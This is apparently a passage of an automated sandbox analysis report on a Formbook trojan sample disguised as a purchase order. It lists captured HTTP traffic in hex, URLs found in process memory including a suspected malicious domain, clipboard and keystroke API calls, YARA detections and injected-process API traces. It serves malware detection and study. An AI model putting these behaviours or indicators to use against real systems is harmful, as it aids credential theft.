65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Wed, 23 Oct 2024 15:33:15 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 23 Oct 2024 15:34:35 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wAqQ5TbcTJhmIFCqkUeviX0KKpl%2Fdge%2FAWWxA6J7ZMdpaKK6yTuWPDuE%2Fv85gWqQp5MfFUjqOevU6InqaGs%2FZeWHa1Xbh8FMB%2FMdlZ%2F7s2ZJAqGiAPAuWs4NN45rVu7%2Ftm%2FUYfSHUyd4BUoScw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d72cac53f856c07-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1182&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=721&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 90 bd 4e c4 30 10 84 fb 7b 0a 63 89 d2 71 4e 74 f9 6b 80 1a 0a 1a 2a e4 d8 9b c4 92 ed b5 ec 0d b9 f0 f4 c8 09 57 51 ed 37 a3 dd 19 69 bb 87 97 b7 e7 8f cf f7 57 b6 90 77 c3 a5 3b 07 63 8c 75 76 4a ca 03 cb 49 f7 7c 21 8a b9 91 52 3b 5c cd a6 f6 2c 32 29 b2 5a 68 0c 04 81 aa fc 54 ad 59 80 ca 24 ae 95 f2 ea 07 83 da 72 a5 d1 4b 48 09 d3 57 54 33 48 af 6c 59 57 41 83 30 58 94 f0 2a 46 1b e6 aa 14 73 76 54 8e 98 0c a4 9e d7 9c 65 da 1d f4 1c bf 21 4d 0e b7 66 b1 c6 40 68 ef 5a dc fe 39 fb dd 59 c0 ce 0b 35 d7 ba 7e 6c 37 6b 68 39 31 62 b6 64 31 34 6a cc e8 56 82 96 30 36 75 bc b5 0e 26 3a 20 1d 87 85 46 24 42 5f 90 b3 33 af e7 25 85 b3 23 f1 4f 0c 9d 3c 7f 35 5c 3a 79 3c f0 17 66 f7 1e 64 57 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f7eN0{cqNtk*WQ7iWw;cuvJI|!R;\,2)ZhTY$rKHWT3HlYWA0X*FsvTe!Mf@hZ9Y5~l7kh91bd14jV06u&: F$B_3%#O<5\:y<fdW0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 23 Oct 2024 15:34:37 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cy%2F7y61bDw3hyeqUzVOgyabdjB2qYWoCD4K97Y1WO2R%2FKak5qdiw9UNpNJwB%2Bn5Eew82Lf2kQKD4KhOArbKs1fKTIQyGsne2fRnpbk6W%2BhBoYP2b2wQmAQ%2Bec7RxZ6D3MGZHA1ccRU6%2BKXlEqg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d72cad53b15e7eb-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1178&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=741&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 90 bd 4e c4 30 10 84 fb 7b 0a 63 89 d2 71 4e 74 f9 6b 80 1a 0a 1a 2a e4 d8 9b c4 92 ed b5 ec 0d b9 f0 f4 c8 09 57 51 ed 37 a3 dd 19 69 bb 87 97 b7 e7 8f cf f7 57 b6 90 77 c3 a5 3b 07 63 8c 75 76 4a ca 03 cb 49 f7 7c 21 8a b9 91 52 3b 5c cd a6 f6 2c 32 29 b2 5a 68 0c 04 81 aa fc 54 ad 59 80 ca 24 ae 95 f2 ea 07 83 da 72 a5 d1 4b 48 09 d3 57 54 33 48 af 6c 59 57 41 83 30 58 94 f0 2a 46 1b e6 aa 14 73 76 54 8e 98 0c a4 9e d7 9c 65 da 1d f4 1c bf 21 4d 0e b7 66 b1 c6 40 68 ef 5a dc fe 39 fb dd 59 c0 ce 0b 35 d7 ba 7e 6c 37 6b 68 39 31 62 b6 64 31 34 6a cc e8 56 82 96 30 36 75 bc b5 0e 26 3a 20 1d 87 85 46 24 42 5f 90 b3 33 af e7 25 85 b3 23 f1 4f 0c 9d 3c 7f 35 5c 3a 79 3c f0 17 66 f7 1e 64 57 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f7eN0{cqNtk*WQ7iWw;cuvJI|!R;\,2)ZhTY$rKHWT3HlYWA0X*FsvTe!Mf@hZ9Y5~l7kh91bd14jV06u&: F$B_3%#O<5\:y<fdW0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 23 Oct 2024 15:34:40 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EqMS%2Bdg1P5a5TZYRR2I5%2FcHKBVUJThoauFhMs3l41V9DnfDCJ0P4MLvNbPzN%2FIcRhSWG%2BuM1kYqzIqp2z21cUjss1w9KOPpqmLBhY0Av25d01sli3iZThOg7TUGtXa8cLmnYLuh6GDixibpBmA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d72cae52ffdb793-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1595&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1754&delivery_rate=0&cwnd=119&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 90 bd 4e c4 30 10 84 fb 7b 0a 63 89 d2 71 4e 74 f9 6b 80 1a 0a 1a 2a e4 d8 9b c4 92 ed b5 ec 0d b9 f0 f4 c8 09 57 51 ed 37 a3 dd 19 69 bb 87 97 b7 e7 8f cf f7 57 b6 90 77 c3 a5 3b 07 63 8c 75 76 4a ca 03 cb 49 f7 7c 21 8a b9 91 52 3b 5c cd a6 f6 2c 32 29 b2 5a 68 0c 04 81 aa fc 54 ad 59 80 ca 24 ae 95 f2 ea 07 83 da 72 a5 d1 4b 48 09 d3 57 54 33 48 af 6c 59 57 41 83 30 58 94 f0 2a 46 1b e6 aa 14 73 76 54 8e 98 0c a4 9e d7 9c 65 da 1d f4 1c bf 21 4d 0e b7 66 b1 c6 40 68 ef 5a dc fe 39 fb dd 59 c0 ce 0b 35 d7 ba 7e 6c 37 6b 68 39 31 62 b6 64 31 34 6a cc e8 56 82 96 30 36 75 bc b5 0e 26 3a 20 1d 87 85 46 24 42 5f 90 b3 33 af e7 25 85 b3 23 f1 4f 0c 9d 3c 7f 35 5c 3a 79 3c f0 17 66 f7 1e 64 57 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f7eN0{cqNtk*WQ7iWw;cuvJI|!R;\,2)ZhTY$rKHWT3HlYWA0X*FsvTe!Mf@hZ9Y5~l7kh91bd14jV06u&: F$B_3%#O<5\:y<fdW0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 23 Oct 2024 15:34:42 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SwbYJ53ov%2BoPjubo1Ku0BlwxYIMn43sJH968EI9wudt7kHYmqckgsSREjk8PQ7Q0f2fynL2RHJoXMNELZcihWi3ffA%2Fs6H7WpXEyR1pcxYneO1ahfAAMl5XZlAkOhs5LxuB%2F%2FyX3SlYcjCl%2Fxg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d72caf50809cb75-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1359&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=440&delivery_rate=0&cwnd=181&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 6f 75 64 77 61 79 73 2d 73 74 61 74 69 63 2d 63 6f 6e 74 65 6e 74 2e 73 33 2e 75 73 2d 65 61 73 74 2d 31 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 2f 65 72 72 6f 72 5f 70 61 67 65 2f 6d 61 69 6e 74 65 6e 61 6e 63 65 2d 64 6f 6d 61 69 6e 2d 6d 61 70 70 69 6e 67 2e 68 74 6d 6c 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 74 79 6c 65 3d 22 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 68 69 64 64 65 6e 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 70 78 3b 6c 65 66 74 3a 30 70 78 3b 72 69 67 68 74 3a 30 70 78 3b 62 6f 74 74 6f 6d 3a 30 70 78 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 77 69 64 74 68 3d 22 31 30 30 25 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 157<!DOCTYPE html><html> <iframe src="https://cloudways-static-content.s3.us-east-1.amazonaws.com/error_page/maintenance-domain-mapping.html" frameborder="0" style="overflow:hidden;overflow-x:hidden;overflow-y:hidden;height:100%;width:100%;position:absolute;top:0px;left:0px;right:0px;bottom:0px" height="100%" width="100%"></iframe></html>0
            Source: mRCAFaTTtF.exe, 0000000D.00000002.3125415912.00000000050BA000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.elektromontaze.online
            Source: mRCAFaTTtF.exe, 0000000D.00000002.3125415912.00000000050BA000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.elektromontaze.online/2amq/
            Source: netsh.exe, 0000000B.00000002.3126328847.0000000007CAE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
            Source: mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://admin.active24.cz/
            Source: netsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://admin.active24.cz/en
            Source: netsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu
            Source: netsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Bold.otf
            Source: netsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Bold.woff2
            Source: netsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Medium.otf
            Source: netsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Medium.woff2
            Source: netsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Regular.otf
            Source: netsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Regular.woff2
            Source: netsh.exe, 0000000B.00000002.3126328847.0000000007CAE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
            Source: netsh.exe, 0000000B.00000002.3126328847.0000000007CAE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
            Source: netsh.exe, 0000000B.00000002.3126328847.0000000007CAE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
            Source: netsh.exe, 0000000B.00000002.3124300851.000000000462E000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.00000000037CE000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cloudways-static-content.s3.us-east-1.amazonaws.com/error_page/maintenance-domain-mapping.ht
            Source: netsh.exe, 0000000B.00000002.3126328847.0000000007CAE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
            Source: netsh.exe, 0000000B.00000002.3126328847.0000000007CAE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
            Source: netsh.exe, 0000000B.00000002.3126328847.0000000007CAE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
            Source: netsh.exe, 0000000B.00000002.3115322736.0000000000C80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
            Source: netsh.exe, 0000000B.00000002.3115322736.0000000000C80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
            Source: netsh.exe, 0000000B.00000002.3115322736.0000000000C80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
            Source: netsh.exe, 0000000B.00000002.3115322736.0000000000C80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033)yu
            Source: netsh.exe, 0000000B.00000002.3115322736.0000000000C80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
            Source: netsh.exe, 0000000B.00000002.3115322736.0000000000C80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
            Source: netsh.exe, 0000000B.00000002.3115322736.0000000000C80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
            Source: netsh.exe, 0000000B.00000003.1576863630.0000000007C8B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
            Source: netsh.exe, 0000000B.00000002.3124300851.0000000003FE6000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003186000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://whois.gandi.net/en/results?search=redlakedispensery.net
            Source: mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.active24.cz/
            Source: netsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.active24.cz/cart/domain-checker
            Source: mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.active24.cz/support/
            Source: netsh.exe, 0000000B.00000002.3126328847.0000000007CAE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
            Source: netsh.exe, 0000000B.00000002.3124300851.0000000003FE6000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003186000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.gandi.net/en/domain
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00459FFF
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,0_2_00456354
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_0047C08E

            E-Banking Fraud

            barindex
            Source: Yara matchFile source: 2.2.svchost.exe.3a0000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.3a0000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000B.00000002.3123380256.0000000001190000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1389419739.00000000081F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1384232430.00000000003A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3112295467.0000000000B00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3123253426.0000000001140000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.3123625955.0000000002DF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1384970518.00000000033E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

            System Summary

            barindex
            Source: 2.2.svchost.exe.3a0000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 2.2.svchost.exe.3a0000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 0000000B.00000002.3123380256.0000000001190000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000002.00000002.1389419739.00000000081F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000002.00000002.1384232430.00000000003A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 0000000B.00000002.3112295467.0000000000B00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 0000000B.00000002.3123253426.0000000001140000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000009.00000002.3123625955.0000000002DF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000002.00000002.1384970518.00000000033E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003CC493 NtClose,2_2_003CC493
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003A19F5 NtProtectVirtualMemory,2_2_003A19F5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072B60 NtClose,LdrInitializeThunk,2_2_03072B60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072DF0 NtQuerySystemInformation,LdrInitializeThunk,2_2_03072DF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030735C0 NtCreateMutant,LdrInitializeThunk,2_2_030735C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03074340 NtSetContextThread,2_2_03074340
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03074650 NtSuspendThread,2_2_03074650
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072B80 NtQueryInformationFile,2_2_03072B80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072BA0 NtEnumerateValueKey,2_2_03072BA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072BE0 NtQueryValueKey,2_2_03072BE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072BF0 NtAllocateVirtualMemory,2_2_03072BF0
